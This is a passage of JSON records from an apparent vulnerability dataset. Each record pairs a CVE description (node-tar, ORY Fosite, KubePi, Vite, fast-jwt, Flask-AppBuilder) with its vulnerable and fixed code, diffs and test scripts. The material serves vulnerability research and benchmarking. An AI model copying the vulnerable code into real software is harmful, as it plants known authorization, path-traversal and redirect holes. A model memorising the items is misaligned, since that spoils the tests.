"vul_js_310_1", "commit": "d2b0ccb103848917848390f96f06acee339a7a19", "file_path": "src/verifier.js", "start_line": 154, "end_line": 162, "snippet": "function validateClaimValues(values, claim, allowed, arrayValue) {\n  const failureMessage = arrayValue\n    ? `None of ${claim} claim values are allowed.`\n    : `The ${claim} claim value is not allowed.`\n\n  if (!values.some(v => allowed.some(a => a.test(v)))) {\n    throw new TokenError(TokenError.codes.invalidClaimValue, failureMessage)\n  }\n}"}], "fix_func": [{"id": "fix_js_310_1", "commit": "cc26b1d473f900446ad846f8f0b10eb1c0adcbdd", "file_path": "src/verifier.js", "start_line": 154, "end_line": 172, "snippet": "function validateClaimValues(values, claim, allowed, arrayValue) {\n  const failureMessage = arrayValue\n    ? `Not all of the ${claim} claim values are allowed.`\n    : `The ${claim} claim value is not allowed.`\n\n  if (!values.every(v => allowed.some(a => a.test(v)))) {\n    throw new TokenError(TokenError.codes.invalidClaimValue, failureMessage)\n  }\n}\n\nfunction validateClaimArrayValues(values, claim, allowed, arrayValue) {\n  const failureMessage = arrayValue\n    ? `None of ${claim} claim values are allowed.`\n    : `The ${claim} claim value is not allowed.`\n\n  if (!values.some(v => allowed.some(a => a.test(v)))) {\n    throw new TokenError(TokenError.codes.invalidClaimValue, failureMessage)\n  }\n}"}, {"id": "fix_js_310_2", "commit": "cc26b1d473f900446ad846f8f0b10eb1c0adcbdd", "file_path": "src/verifier.js", "start_line": 183, "end_line": 241, "snippet": "function verifyToken(\n  key,\n  { input, header, payload, signature },\n  { validators, allowedAlgorithms, checkTyp, clockTimestamp, requiredClaims }\n) {\n  // Verify the key\n  /* istanbul ignore next */\n  const hasKey = key instanceof Buffer ? key.length : !!key\n\n  if (hasKey && !signature) {\n    throw new TokenError(TokenError.codes.missingSignature, 'The token signature is missing.')\n  } else if (!hasKey && signature) {\n    throw new TokenError(TokenError.codes.missingKey, 'The key option is missing.')\n  }\n\n  validateAlgorithmAndSignature(input, header, signature, key, allowedAlgorithms)\n\n  // Verify typ\n  if (\n    checkTyp &&\n    (typeof header.typ !== 'string' || checkTyp !== header.typ.toLowerCase().replace(/^application\\//, ''))\n  ) {\n    throw new TokenError(TokenError.codes.invalidType, 'Invalid typ.')\n  }\n\n  if (requiredClaims) {\n    for (const claim of requiredClaims) {\n      if (!(claim in payload)) {\n        throw new TokenError(TokenError.codes.missingRequiredClaim, `The ${claim} claim is required.`)\n      }\n    }\n  }\n\n  // Verify the payload\n  const now = clockTimestamp || Date.now()\n\n  for (const { type, claim, allowed, array, modifier, greater, errorCode, errorVerb } of validators) {\n    const value = payload[claim]\n    const arrayValue = Array.isArray(value)\n    const values = arrayValue ? value : [value]\n\n    // We have already checked above that all required claims are present\n    // Therefore we can skip this validator if the claim is not present\n    if (!(claim in payload)) {\n      continue\n    }\n\n    // Validate type\n    validateClaimType(values, claim, array, type === 'date' ? 'number' : 'string')\n\n    if (type === 'date') {\n      validateClaimDateValue(value, modifier, now, greater, errorCode, errorVerb)\n    } else if (array) {\n      validateClaimArrayValues(values, claim, allowed, arrayValue)\n    } else {\n      validateClaimValues(values, claim, allowed, arrayValue)\n    }\n  }\n}"}], "vul_patch": "--- a/src/verifier.js\n+++ b/src/verifier.js\n@@ -1,4 +1,14 @@\n function validateClaimValues(values, claim, allowed, arrayValue) {\n+  const failureMessage = arrayValue\n+    ? `Not all of the ${claim} claim values are allowed.`\n+    : `The ${claim} claim value is not allowed.`\n+\n+  if (!values.every(v => allowed.some(a => a.test(v)))) {\n+    throw new TokenError(TokenError.codes.invalidClaimValue, failureMessage)\n+  }\n+}\n+\n+function validateClaimArrayValues(values, claim, allowed, arrayValue) {\n   const failureMessage = arrayValue\n     ? `None of ${claim} claim values are allowed.`\n     : `The ${claim} claim value is not allowed.`\n\n--- /dev/null\n+++ b/src/verifier.js\n@@ -0,0 +1,59 @@\n+function verifyToken(\n+  key,\n+  { input, header, payload, signature },\n+  { validators, allowedAlgorithms, checkTyp, clockTimestamp, requiredClaims }\n+) {\n+  // Verify the key\n+  /* istanbul ignore next */\n+  const hasKey = key instanceof Buffer ? key.length : !!key\n+\n+  if (hasKey && !signature) {\n+    throw new TokenError(TokenError.codes.missingSignature, 'The token signature is missing.')\n+  } else if (!hasKey && signature) {\n+    throw new TokenError(TokenError.codes.missingKey, 'The key option is missing.')\n+  }\n+\n+  validateAlgorithmAndSignature(input, header, signature, key, allowedAlgorithms)\n+\n+  // Verify typ\n+  if (\n+    checkTyp &&\n+    (typeof header.typ !== 'string' || checkTyp !== header.typ.toLowerCase().replace(/^application\\//, ''))\n+  ) {\n+    throw new TokenError(TokenError.codes.invalidType, 'Invalid typ.')\n+  }\n+\n+  if (requiredClaims) {\n+    for (const claim of requiredClaims) {\n+      if (!(claim in payload)) {\n+        throw new TokenError(TokenError.codes.missingRequiredClaim, `The ${claim} claim is required.`)\n+      }\n+    }\n+  }\n+\n+  // Verify the payload\n+  const now = clockTimestamp || Date.now()\n+\n+  for (const { type, claim, allowed, array, modifier, greater, errorCode, errorVerb } of validators) {\n+    const value = payload[claim]\n+    const arrayValue = Array.isArray(value)\n+    const values = arrayValue ? value : [value]\n+\n+    // We have already checked above that all required claims are present\n+    // Therefore we can skip this validator if the claim is not present\n+    if (!(claim in payload)) {\n+      continue\n+    }\n+\n+    // Validate type\n+    validateClaimType(values, claim, array, type === 'date' ? 'number' : 'string')\n+\n+    if (type === 'date') {\n+      validateClaimDateValue(value, modifier, now, greater, errorCode, errorVerb)\n+    } else if (array) {\n+      validateClaimArrayValues(values, claim, allowed, arrayValue)\n+    } else {\n+      validateClaimValues(values, claim, allowed, arrayValue)\n+    }\n+  }\n+}\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-15233", "cve_description": "ORY Fosite is a security first OAuth2 & OpenID Connect framework for Go. In Fosite from version 0.30.2 and before version 0.34.1, there is an issue in which an an attacker can override the registered redirect URL by performing an OAuth flow and requesting a redirect URL that is to the loopback adapter. Attackers can provide both custom URL query parameters to their loopback redirect URL, as well as actually overriding the host of the registered redirect URL. These attacks are only applicable in scenarios where the attacker has access over the loopback interface. This vulnerability has been patched in ORY Fosite v0.34.1.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/ory/fosite", "patch_url": ["https://github.com/ory/fosite/commit/cdee51ebe721bfc8acca0fd0b86b030ca70867bf"], "programing_language": "Go", "vul_func": [{"id": "vul_go_23_1", "commit": "eb87048", "file_path": "authorize_helper.go", "start_line": 114, "end_line": 126, "snippet": "func isMatchingRedirectURI(uri string, haystack []string) bool {\n\trequested, err := url.Parse(uri)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tfor _, b := range haystack {\n\t\tif strings.ToLower(b) == strings.ToLower(uri) || isLoopbackURI(requested, b) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}"}, {"id": "vul_go_23_2", "commit": "eb87048", "file_path": "authorize_helper.go", "start_line": 128, "end_line": 143, "snippet": "func isLoopbackURI(requested *url.URL, registeredURI string) bool {\n\tregistered, err := url.Parse(registeredURI)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tif registered.Scheme != \"http\" || !isLoopbackAddress(registered.Host) {\n\t\treturn false\n\t}\n\n\tif requested.Scheme == \"http\" && isLoopbackAddress(requested.Host) && registered.Path == requested.Path {\n\t\treturn true\n\t}\n\n\treturn false\n}"}], "fix_func": [{"id": "fix_go_23_1", "commit": "cdee51e", "file_path": "authorize_helper.go", "start_line": 114, "end_line": 126, "snippet": "func isMatchingRedirectURI(uri string, haystack []string) bool {\n\trequested, err := url.Parse(uri)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\tfor _, b := range haystack {\n\t\tif b == uri || isMatchingAsLoopback(requested, b) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}"}, {"id": "fix_go_23_2", "commit": "cdee51e", "file_path": "authorize_helper.go", "start_line": 128, "end_line": 153, "snippet": "func isMatchingAsLoopback(requested *url.URL, registeredURI string) bool {\n\tregistered, err := url.Parse(registeredURI)\n\tif err != nil {\n\t\treturn false\n\t}\n\n\t// Native apps that are able to open a port on the loopback network\n\t// interface without needing special permissions (typically, those on\n\t// desktop operating systems) can use the loopback interface to receive\n\t// the OAuth redirect.\n\t//\n\t// Loopback redirect URIs use the \"http\" scheme and are constructed with\n\t// the loopback IP literal and whatever port the client is listening on.\n\t//\n\t// Source: https://tools.ietf.org/html/rfc8252#section-7.3\n\tif requested.Scheme == \"http\" &&\n\t\tisLoopbackAddress(requested.Host) &&\n\t\tregistered.Hostname() == requested.Hostname() &&\n\t\t// The port is skipped here - see codedoc above!\n\t\tregistered.Path == requested.Path &&\n\t\tregistered.RawQuery == requested.RawQuery {\n\t\treturn true\n\t}\n\n\treturn false\n}"}], "vul_patch": "--- a/authorize_helper.go\n+++ b/authorize_helper.go\n@@ -5,7 +5,7 @@\n \t}\n \n \tfor _, b := range haystack {\n-\t\tif strings.ToLower(b) == strings.ToLower(uri) || isLoopbackURI(requested, b) {\n+\t\tif b == uri || isMatchingAsLoopback(requested, b) {\n \t\t\treturn true\n \t\t}\n \t}\n\n--- a/authorize_helper.go\n+++ b/authorize_helper.go\n@@ -1,14 +1,24 @@\n-func isLoopbackURI(requested *url.URL, registeredURI string) bool {\n+func isMatchingAsLoopback(requested *url.URL, registeredURI string) bool {\n \tregistered, err := url.Parse(registeredURI)\n \tif err != nil {\n \t\treturn false\n \t}\n \n-\tif registered.Scheme != \"http\" || !isLoopbackAddress(registered.Host) {\n-\t\treturn false\n-\t}\n-\n-\tif requested.Scheme == \"http\" && isLoopbackAddress(requested.Host) && registered.Path == requested.Path {\n+\t// Native apps that are able to open a port on the loopback network\n+\t// interface without needing special permissions (typically, those on\n+\t// desktop operating systems) can use the loopback interface to receive\n+\t// the OAuth redirect.\n+\t//\n+\t// Loopback redirect URIs use the \"http\" scheme and are constructed with\n+\t// the loopback IP literal and whatever port the client is listening on.\n+\t//\n+\t// Source: https://tools.ietf.org/html/rfc8252#section-7.3\n+\tif requested.Scheme == \"http\" &&\n+\t\tisLoopbackAddress(requested.Host) &&\n+\t\tregistered.Hostname() == requested.Hostname() &&\n+\t\t// The port is skipped here - see codedoc above!\n+\t\tregistered.Path == requested.Path &&\n+\t\tregistered.RawQuery == requested.RawQuery {\n \t\treturn true\n \t}\n \n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-15233:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/fosite\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\ngo test   -timeout 30s -run ^TestDoesClientWhiteListRedirect$ github.com/ory/fosite\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2020-15233:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/fosite\ngit apply --whitespace=nowarn /workspace/fix.patch\n\ngo test -timeout 30s -run '^(TestIsLocalhost|TestGetRedirectURI|TestStringInSlice|TestEscapeJSONString|TestIsRedirectURISecure)$' github.com/ory/fosite"}
{"cve_id": "CVE-2021-32804", "cve_description": "The npm package \"tar\" (aka node-tar) before versions 6.1.1, 5.0.6, 4.4.14, and 3.3.2 has a arbitrary File Creation/Overwrite vulnerability due to insufficient absolute path sanitization. node-tar aims to prevent extraction of absolute file paths by turning absolute paths into relative paths when the `preservePaths` flag is not set to `true`. This is achieved by stripping the absolute path root from any absolute file paths contained in a tar file. For example `/home/user/.bashrc` would turn into `home/user/.bashrc`. This logic was insufficient when file paths contained repeated path roots such as `////home/user/.bashrc`. `node-tar` would only strip a single path root from such paths. When given an absolute file path with repeating path roots, the resulting path (e.g. `///home/user/.bashrc`) would still resolve to an absolute path, thus allowing arbitrary file creation and overwrite. This issue was addressed in releases 3.2.2, 4.4.14, 5.0.6 and 6.1.1. Users may work around this vulnerability without upgrading by creating a custom `onentry` method which sanitizes the `entry.path` or a `filter` method which removes entries with absolute paths. See referenced GitHub Advisory for details. Be aware of CVE-2021-32803 which fixes a similar bug in later versions of tar.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/npm/node-tar", "patch_url": ["https://github.com/npm/node-tar/commit/1f036ca23f64a547bdd6c79c1a44bc62e8115da4"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_58_1", "commit": "1b94260", "file_path": "lib/write-entry.js", "start_line": 30, "end_line": 85, "snippet": "  constructor (p, opt) {\n    opt = opt || {}\n    super(opt)\n    if (typeof p !== 'string')\n      throw new TypeError('path is required')\n    this.path = p\n    // suppress atime, ctime, uid, gid, uname, gname\n    this.portable = !!opt.portable\n    // until node has builtin pwnam functions, this'll have to do\n    this.myuid = process.getuid && process.getuid()\n    this.myuser = process.env.USER || ''\n    this.maxReadSize = opt.maxReadSize || maxReadSize\n    this.linkCache = opt.linkCache || new Map()\n    this.statCache = opt.statCache || new Map()\n    this.preservePaths = !!opt.preservePaths\n    this.cwd = opt.cwd || process.cwd()\n    this.strict = !!opt.strict\n    this.noPax = !!opt.noPax\n    this.noMtime = !!opt.noMtime\n    this.mtime = opt.mtime || null\n\n    if (typeof opt.onwarn === 'function')\n      this.on('warn', opt.onwarn)\n\n    let pathWarn = false\n    if (!this.preservePaths && path.win32.isAbsolute(p)) {\n      // absolutes on posix are also absolutes on win32\n      // so we only need to test this one to get both\n      const parsed = path.win32.parse(p)\n      this.path = p.substr(parsed.root.length)\n      pathWarn = parsed.root\n    }\n\n    this.win32 = !!opt.win32 || process.platform === 'win32'\n    if (this.win32) {\n      this.path = winchars.decode(this.path.replace(/\\\\/g, '/'))\n      p = p.replace(/\\\\/g, '/')\n    }\n\n    this.absolute = opt.absolute || path.resolve(this.cwd, p)\n\n    if (this.path === '')\n      this.path = './'\n\n    if (pathWarn) {\n      this.warn('TAR_ENTRY_INFO', `stripping ${pathWarn} from absolute path`, {\n        entry: this,\n        path: pathWarn + this.path,\n      })\n    }\n\n    if (this.statCache.has(this.absolute))\n      this[ONLSTAT](this.statCache.get(this.absolute))\n    else\n      this[LSTAT]()\n  }"}], "fix_func": [{"id": "fix_js_58_1", "commit": "1f036ca", "file_path": "lib/write-entry.js", "start_line": 31, "end_line": 62, "snippet": "  constructor (p, opt) {\n    opt = opt || {}\n    super(opt)\n    if (typeof p !== 'string')\n      throw new TypeError('path is required')\n    this.path = p\n    // suppress atime, ctime, uid, gid, uname, gname\n    this.portable = !!opt.portable\n    // until node has builtin pwnam functions, this'll have to do\n    this.myuid = process.getuid && process.getuid()\n    this.myuser = process.env.USER || ''\n    this.maxReadSize = opt.maxReadSize || maxReadSize\n    this.linkCache = opt.linkCache || new Map()\n    this.statCache = opt.statCache || new Map()\n    this.preservePaths = !!opt.preservePaths\n    this.cwd = opt.cwd || process.cwd()\n    this.strict = !!opt.strict\n    this.noPax = !!opt.noPax\n    this.noMtime = !!opt.noMtime\n    this.mtime = opt.mtime || null\n\n    if (typeof opt.onwarn === 'function')\n      this.on('warn', opt.onwarn)\n\n    let pathWarn = false\n    if (!this.preservePaths) {\n      const [root, stripped] = stripAbsolutePath(this.path)\n      if (root) {\n        this.path = stripped\n        pathWarn = root\n      }\n    }"}], "vul_patch": "--- a/lib/write-entry.js\n+++ b/lib/write-entry.js\n@@ -23,34 +23,10 @@\n       this.on('warn', opt.onwarn)\n \n     let pathWarn = false\n-    if (!this.preservePaths && path.win32.isAbsolute(p)) {\n-      // absolutes on posix are also absolutes on win32\n-      // so we only need to test this one to get both\n-      const parsed = path.win32.parse(p)\n-      this.path = p.substr(parsed.root.length)\n-      pathWarn = parsed.root\n+    if (!this.preservePaths) {\n+      const [root, stripped] = stripAbsolutePath(this.path)\n+      if (root) {\n+        this.path = stripped\n+        pathWarn = root\n+      }\n     }\n-\n-    this.win32 = !!opt.win32 || process.platform === 'win32'\n-    if (this.win32) {\n-      this.path = winchars.decode(this.path.replace(/\\\\/g, '/'))\n-      p = p.replace(/\\\\/g, '/')\n-    }\n-\n-    this.absolute = opt.absolute || path.resolve(this.cwd, p)\n-\n-    if (this.path === '')\n-      this.path = './'\n-\n-    if (pathWarn) {\n-      this.warn('TAR_ENTRY_INFO', `stripping ${pathWarn} from absolute path`, {\n-        entry: this,\n-        path: pathWarn + this.path,\n-      })\n-    }\n-\n-    if (this.statCache.has(this.absolute))\n-      this[ONLSTAT](this.statCache.get(this.absolute))\n-    else\n-      this[LSTAT]()\n-  }\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-32804:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/node-tar\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\nnode test/write-entry.js\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2021-32804:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/node-tar\ngit apply --whitespace=nowarn /workspace/fix.patch\nnode test/write-entry.js\n"}
{"cve_id": "CVE-2023-22478", "cve_description": "KubePi is a modern Kubernetes panel. The API interfaces with unauthorized entities and may leak sensitive information. This issue has been patched in version 1.6.4. There are currently no known workarounds.", "cwe_info": {"CWE-862": {"name": "Missing Authorization", "description": "The product does not perform an authorization check when an actor attempts to access a resource or perform an action."}, "CWE-639": {"name": "Authorization Bypass Through User-Controlled Key", "description": "The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data."}}, "repo": "https://github.com/KubeOperator/KubePi", "patch_url": ["https://github.com/KubeOperator/KubePi/commit/0c6774bf5d9003ae4d60257a3f207c131ff4a6d6"], "programing_language": "Go", "vul_func": [{"id": "vul_go_111_1", "commit": "eead487", "file_path": "internal/api/v1/v1.go", "start_line": 419, "end_line": 447, "snippet": "func AddV1Route(app iris.Party) {\n\n\tv1Party := app.Party(\"/v1\")\n\tv1Party.Use(langHandler())\n\tv1Party.Use(pageHandler())\n\tsession.Install(v1Party)\n\tmfa.Install(v1Party)\n\tauthParty := v1Party.Party(\"\")\n\n\tauthParty.Use(WarpedJwtHandler())\n\tauthParty.Use(authHandler())\n\tauthParty.Use(resourceExtractHandler())\n\tauthParty.Use(roleHandler())\n\tauthParty.Use(roleAccessHandler())\n\tauthParty.Use(resourceNameInvalidHandler())\n\tauthParty.Use(logHandler())\n\tauthParty.Get(\"/\", apiResourceHandler(authParty))\n\tuser.Install(authParty)\n\tcluster.Install(authParty)\n\trole.Install(authParty)\n\tsystem.Install(v1Party)\n\tproxy.Install(authParty)\n\tws.Install(authParty)\n\tchart.Install(authParty)\n\twebkubectl.Install(authParty, v1Party)\n\tldap.Install(authParty)\n\timagerepo.Install(authParty)\n\tfile.Install(authParty)\n}"}], "fix_func": [{"id": "fix_go_111_1", "commit": "0c6774b", "file_path": "internal/api/v1/v1.go", "start_line": 419, "end_line": 448, "snippet": "func AddV1Route(app iris.Party) {\n\n\tv1Party := app.Party(\"/v1\")\n\n\tsession.Install(v1Party)\n\tmfa.Install(v1Party)\n\tauthParty := v1Party.Party(\"\")\n\tv1Party.Use(langHandler())\n\tv1Party.Use(pageHandler())\n\n\tauthParty.Use(WarpedJwtHandler())\n\tauthParty.Use(authHandler())\n\tauthParty.Use(resourceExtractHandler())\n\tauthParty.Use(roleHandler())\n\tauthParty.Use(roleAccessHandler())\n\tauthParty.Use(resourceNameInvalidHandler())\n\tauthParty.Use(logHandler())\n\tauthParty.Get(\"/\", apiResourceHandler(authParty))\n\tuser.Install(authParty)\n\tcluster.Install(authParty)\n\trole.Install(authParty)\n\tsystem.Install(authParty)\n\tproxy.Install(authParty)\n\tws.Install(authParty)\n\tchart.Install(authParty)\n\twebkubectl.Install(authParty, v1Party)\n\tldap.Install(authParty)\n\timagerepo.Install(authParty)\n\tfile.Install(authParty)\n}"}], "vul_patch": "--- a/internal/api/v1/v1.go\n+++ b/internal/api/v1/v1.go\n@@ -1,11 +1,12 @@\n func AddV1Route(app iris.Party) {\n \n \tv1Party := app.Party(\"/v1\")\n-\tv1Party.Use(langHandler())\n-\tv1Party.Use(pageHandler())\n+\n \tsession.Install(v1Party)\n \tmfa.Install(v1Party)\n \tauthParty := v1Party.Party(\"\")\n+\tv1Party.Use(langHandler())\n+\tv1Party.Use(pageHandler())\n \n \tauthParty.Use(WarpedJwtHandler())\n \tauthParty.Use(authHandler())\n@@ -18,7 +19,7 @@\n \tuser.Install(authParty)\n \tcluster.Install(authParty)\n \trole.Install(authParty)\n-\tsystem.Install(v1Party)\n+\tsystem.Install(authParty)\n \tproxy.Install(authParty)\n \tws.Install(authParty)\n \tchart.Install(authParty)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-23331", "cve_description": "Vite is a frontend tooling framework for javascript. The Vite dev server option `server.fs.deny` can be bypassed on case-insensitive file systems using case-augmented versions of filenames. Notably this affects servers hosted on Windows. This bypass is similar to CVE-2023-34092 -- with surface area reduced to hosts having case-insensitive filesystems. Since `picomatch` defaults to case-sensitive glob matching, but the file server doesn't discriminate; a blacklist bypass is possible. By requesting raw filesystem paths using augmented casing, the matcher derived from `config.server.fs.deny` fails to block access to sensitive files. This issue has been addressed in vite@5.0.12, vite@4.5.2, vite@3.2.8, and vite@2.9.17. Users are advised to upgrade. Users unable to upgrade should restrict access to dev servers.", "cwe_info": {"CWE-284": {"name": "Improper Access Control", "description": "The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor."}}, "repo": "https://github.com/vitejs/vite", "patch_url": ["https://github.com/vitejs/vite/commit/91641c4da0a011d4c5352e88fc68389d4e1289a5"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_269_1", "commit": "ef89f8092f0eb1d8fd7d21256e6af8c4e64fe9b2", "file_path": "packages/vite/src/node/server/index.ts", "start_line": 600, "end_line": 622, "snippet": "    async restart(forceOptimize?: boolean) {\n      if (!server._restartPromise) {\n        server._forceOptimizeOnRestart = !!forceOptimize\n        server._restartPromise = restartServer(server).finally(() => {\n          server._restartPromise = null\n          server._forceOptimizeOnRestart = false\n        })\n      }\n      return server._restartPromise\n    },\n\n    _setInternalServer(_server: ViteDevServer) {\n      // Rebind internal the server variable so functions reference the user\n      // server instance after a restart\n      server = _server\n    },\n    _restartPromise: null,\n    _importGlobMap: new Map(),\n    _forceOptimizeOnRestart: false,\n    _pendingRequests: new Map(),\n    _fsDenyGlob: picomatch(config.server.fs.deny, { matchBase: true }),\n    _shortcutsOptions: undefined,\n  }"}], "fix_func": [{"id": "fix_js_269_1", "commit": "91641c4da0a011d4c5352e88fc68389d4e1289a5", "file_path": "packages/vite/src/node/server/index.ts", "start_line": 600, "end_line": 625, "snippet": "    async restart(forceOptimize?: boolean) {\n      if (!server._restartPromise) {\n        server._forceOptimizeOnRestart = !!forceOptimize\n        server._restartPromise = restartServer(server).finally(() => {\n          server._restartPromise = null\n          server._forceOptimizeOnRestart = false\n        })\n      }\n      return server._restartPromise\n    },\n\n    _setInternalServer(_server: ViteDevServer) {\n      // Rebind internal the server variable so functions reference the user\n      // server instance after a restart\n      server = _server\n    },\n    _restartPromise: null,\n    _importGlobMap: new Map(),\n    _forceOptimizeOnRestart: false,\n    _pendingRequests: new Map(),\n    _fsDenyGlob: picomatch(config.server.fs.deny, {\n      matchBase: true,\n      nocase: true,\n    }),\n    _shortcutsOptions: undefined,\n  }"}], "vul_patch": "--- a/packages/vite/src/node/server/index.ts\n+++ b/packages/vite/src/node/server/index.ts\n@@ -18,6 +18,9 @@\n     _importGlobMap: new Map(),\n     _forceOptimizeOnRestart: false,\n     _pendingRequests: new Map(),\n-    _fsDenyGlob: picomatch(config.server.fs.deny, { matchBase: true }),\n+    _fsDenyGlob: picomatch(config.server.fs.deny, {\n+      matchBase: true,\n+      nocase: true,\n+    }),\n     _shortcutsOptions: undefined,\n   }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-34110", "cve_description": "Flask-AppBuilder is an application development framework, built on top of Flask. Prior to version 4.3.2, an authenticated malicious actor with Admin privileges, could by adding a special character on the add, edit User forms trigger a database error, this error is surfaced back to this actor on the UI. On certain database engines this error can include the entire user row including the pbkdf2:sha256 hashed password. This vulnerability has been fixed in version 4.3.2.\n", "cwe_info": {"CWE-209": {"name": "Generation of Error Message Containing Sensitive Information", "description": "The product generates an error message that includes sensitive information about its environment, users, or associated data."}}, "repo": "https://github.com/dpgaspar/Flask-AppBuilder", "patch_url": ["https://github.com/dpgaspar/Flask-AppBuilder/commit/ae25ad4c87a9051ebe4a4e8f02aee73232642626"], "programing_language": "Python", "vul_func": [{"id": "vul_py_421_1", "commit": "98e3808", "file_path": "flask_appbuilder/models/sqla/interface.py", "start_line": 725, "end_line": 747, "snippet": "    def add(self, item: Model, raise_exception: bool = False) -> bool:\n        try:\n            self.session.add(item)\n            self.session.commit()\n            self.message = (as_unicode(self.add_row_message), \"success\")\n            return True\n        except IntegrityError as e:\n            self.message = (as_unicode(self.add_integrity_error_message), \"warning\")\n            log.warning(LOGMSG_WAR_DBI_ADD_INTEGRITY.format(str(e)))\n            self.session.rollback()\n            if raise_exception:\n                raise e\n            return False\n        except Exception as e:\n            self.message = (\n                as_unicode(self.general_error_message + \" \" + str(sys.exc_info()[0])),\n                \"danger\",\n            )\n            log.exception(LOGMSG_ERR_DBI_ADD_GENERIC.format(str(e)))\n            self.session.rollback()\n            if raise_exception:\n                raise e\n            return False"}, {"id": "vul_py_421_2", "commit": "98e3808", "file_path": "flask_appbuilder/models/sqla/interface.py", "start_line": 749, "end_line": 771, "snippet": "    def edit(self, item: Model, raise_exception: bool = False) -> bool:\n        try:\n            self.session.merge(item)\n            self.session.commit()\n            self.message = (as_unicode(self.edit_row_message), \"success\")\n            return True\n        except IntegrityError as e:\n            self.message = (as_unicode(self.edit_integrity_error_message), \"warning\")\n            log.warning(LOGMSG_WAR_DBI_EDIT_INTEGRITY.format(str(e)))\n            self.session.rollback()\n            if raise_exception:\n                raise e\n            return False\n        except Exception as e:\n            self.message = (\n                as_unicode(self.general_error_message + \" \" + str(sys.exc_info()[0])),\n                \"danger\",\n            )\n            log.exception(LOGMSG_ERR_DBI_EDIT_GENERIC.format(str(e)))\n            self.session.rollback()\n            if raise_exception:\n                raise e\n            return False"}, {"id": "vul_py_421_3", "commit": "98e3808", "file_path": "flask_appbuilder/models/sqla/interface.py", "start_line": 798, "end_line": 818, "snippet": "    def delete_all(self, items: List[Model]) -> bool:\n        try:\n            for item in items:\n                self._delete_files(item)\n                self.session.delete(item)\n            self.session.commit()\n            self.message = (as_unicode(self.delete_row_message), \"success\")\n            return True\n        except IntegrityError as e:\n            self.message = (as_unicode(self.delete_integrity_error_message), \"warning\")\n            log.warning(LOGMSG_WAR_DBI_DEL_INTEGRITY.format(str(e)))\n            self.session.rollback()\n            return False\n        except Exception as e:\n            self.message = (\n                as_unicode(self.general_error_message + \" \" + str(sys.exc_info()[0])),\n                \"danger\",\n            )\n            log.exception(LOGMSG_ERR_DBI_DEL_GENERIC.format(str(e)))\n            self.session.rollback()\n            return False"}, {"id": "vul_py_421_4", "commit": "98e3808", "file_path": "flask_appbuilder/models/sqla/interface.py", "start_line": 773, "end_line": 796, "snippet": "    def delete(self, item: Model, raise_exception: bool = False) -> bool:\n        try:\n            self._delete_files(item)\n            self.session.delete(item)\n            self.session.commit()\n            self.message = (as_unicode(self.delete_row_message), \"success\")\n            return True\n        except IntegrityError as e:\n            self.message = (as_unicode(self.delete_integrity_error_message), \"warning\")\n            log.warning(LOGMSG_WAR_DBI_DEL_INTEGRITY.format(str(e)))\n            self.session.rollback()\n            if raise_exception:\n                raise e\n            return False\n        except Exception as e:\n            self.message = (\n                as_unicode(self.general_error_message + \" \" + str(sys.exc_info()[0])),\n                \"danger\",\n            )\n            log.exception(LOGMSG_ERR_DBI_DEL_GENERIC.format(str(e)))\n            self.session.rollback()\n            if raise_exception:\n                raise e\n            return False"}], "fix_func": [{"id": "fix_py_421_1", "commit": "ae25ad4c87a9051ebe4a4e8f02aee73232642626", "file_path": "flask_appbuilder/models/sqla/interface.py", "start_line": 722, "end_line": 741, "snippet": "    def add(self, item: Model, raise_exception: bool = False) -> bool:\n        try:\n            self.session.add(item)\n            self.session.commit()\n            self.message = (as_unicode(self.add_row_message), \"success\")\n            return True\n        except IntegrityError as e:\n            self.message = (as_unicode(self.add_integrity_error_message), \"warning\")\n            log.warning(LOGMSG_WAR_DBI_ADD_INTEGRITY.format(str(e)))\n            self.session.rollback()\n            if raise_exception:\n                raise e\n            return False\n        except Exception as e:\n            self.message = (as_unicode(self.database_error_message), \"danger\")\n            log.exception(\"Database error\")\n            self.session.rollback()\n            if raise_exception:\n                raise e\n            return False"}, {"id": "fix_py_421_2", "commit": "ae25ad4c87a9051ebe4a4e8f02aee73232642626", "file_path": "flask_appbuilder/models/sqla/interface.py", "start_line": 743, "end_line": 762, "snippet": "    def edit(self, item: Model, raise_exception: bool = False) -> bool:\n        try:\n            self.session.merge(item)\n            self.session.commit()\n            self.message = (as_unicode(self.edit_row_message), \"success\")\n            return True\n        except IntegrityError as e:\n            self.message = (as_unicode(self.edit_integrity_error_message), \"warning\")\n            log.warning(LOGMSG_WAR_DBI_EDIT_INTEGRITY.format(str(e)))\n            self.session.rollback()\n            if raise_exception:\n                raise e\n            return False\n        except Exception as e:\n            